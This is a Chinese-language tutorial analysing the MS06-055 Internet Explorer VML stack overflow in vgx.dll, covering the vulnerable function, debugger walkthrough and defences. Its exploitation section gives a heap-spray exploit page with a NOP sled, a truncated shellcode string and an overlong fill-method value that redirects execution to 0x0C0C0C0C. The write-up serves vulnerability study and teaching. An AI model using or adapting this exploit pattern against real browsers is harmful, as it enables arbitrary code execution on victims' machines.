分析MS06-055 IE 栈溢出漏洞
字数 1333 2025-08-27 12:33:30
MS06-055 IE 栈溢出漏洞分析与利用
漏洞概述
MS06-055是Internet Explorer在解析VML(Vector Markup Language)标记语言时存在的一个基于栈的缓冲区溢出漏洞。该漏洞存在于IE的核心组件vgx.dll中,具体漏洞函数为SHADETYPE_TEXT::TEXT(ushort const *, int),该函数在处理VML标记时未对字符串长度进行限制,导致栈溢出。
漏洞触发原理
漏洞触发流程:
- IE解析包含VML标记的HTML文档
- 处理
<v:fill method="..."/>标签时调用vgx.dll中的漏洞函数 SHADETYPE_TEXT::TEXT函数将method属性值复制到栈缓冲区时未检查长度- 超长字符串覆盖栈上的关键数据,包括返回地址
分析环境准备
- 操作系统:Windows 2000 SP4
- IE版本:5.00.3700.1000
- Vgx.dll版本:5.0.3014.1003
- 分析工具:
- OllyDbg (OD) - 动态调试
- IDA Pro - 静态分析
VML标记语言简介
VML(矢量标记语言)是IE 5.0+支持的HTML扩展,用于在网页中绘制矢量图形。基本语法:
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="black">
<v:fill method="QQQQ"/>
</v:rect>
</body>
</html>
关键元素:
v:rect- 绘制矩形style- 定义尺寸等属性v:fill- 定义填充方式,其中method属性是漏洞触发点
漏洞分析过程
静态分析
- 使用IDA加载vgx.dll,定位漏洞函数
SHADETYPE_TEXT::TEXT(地址:0x659D7B46) - 分析发现函数内部调用
0x659D7AEA进行字符串复制操作 - 复制操作前未对源字符串长度进行检查
动态调试
- 使用OD附加IE进程
- 在0x659D7B46处设置断点
- 加载包含VML的HTML文档触发断点
- 单步执行观察:
- 执行到0x659D7B86处的
Call 659D7AEA时,method属性值被复制到栈中 - 使用超长字符串(如200个"Q")可覆盖栈上数据
- 函数返回地址被覆盖导致控制流劫持
- 执行到0x659D7B86处的
关键代码片段
659D7B46 push ebp
659D7B47 mov ebp, esp
...
659D7B86 call 659D7AEA ; 漏洞点 - 未检查长度的字符串复制
漏洞利用技术
Heap Spray技术
利用步骤:
- 使用JavaScript申请200块1MB大小的内存
- 每块内存填充大量NOP指令(0x90)和shellcode
- 覆盖内存地址0x0C0C0C0C
- 用大量0x0C字节覆盖返回地址为0x0C0C0C0C
- EIP滑过NOP后执行shellcode
Exploit代码结构
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
<script language="javascript">
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91...";
var nop="\u9090\u9090";
while (nop.length<= 0x100000/2) { nop+=nop; }
var slide = new Array();
for (var i=0; i<200; i++) { slide[i] = nop + shellcode; }
</script>
<body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="ఌఌఌఌ...ఌఌఌఌ"/> <!-- 大量0x0C字符 -->
</v:rect>
</body>
</html>
Shellcode执行流程
- 返回地址被覆盖为0x0C0C0C0C
- EIP跳转到堆内存
- 执行NOP滑板指令
- 最终执行shellcode弹出对话框
防御措施
- 及时安装微软安全补丁MS06-055
- 禁用VML支持(设置IE安全级别)
- 使用DEP等内存保护技术
- 启用ASLR随机化内存布局
总结
MS06-055漏洞展示了经典栈溢出漏洞的完整生命周期:
- 漏洞成因:未检查长度的字符串复制
- 利用方法:Heap Spray技术绕过ASLR
- 攻击效果:任意代码执行
- 防御思路:输入验证+内存保护
该漏洞分析过程涵盖了静态分析、动态调试、漏洞利用和防御等多个方面,是学习浏览器漏洞分析的典型案例。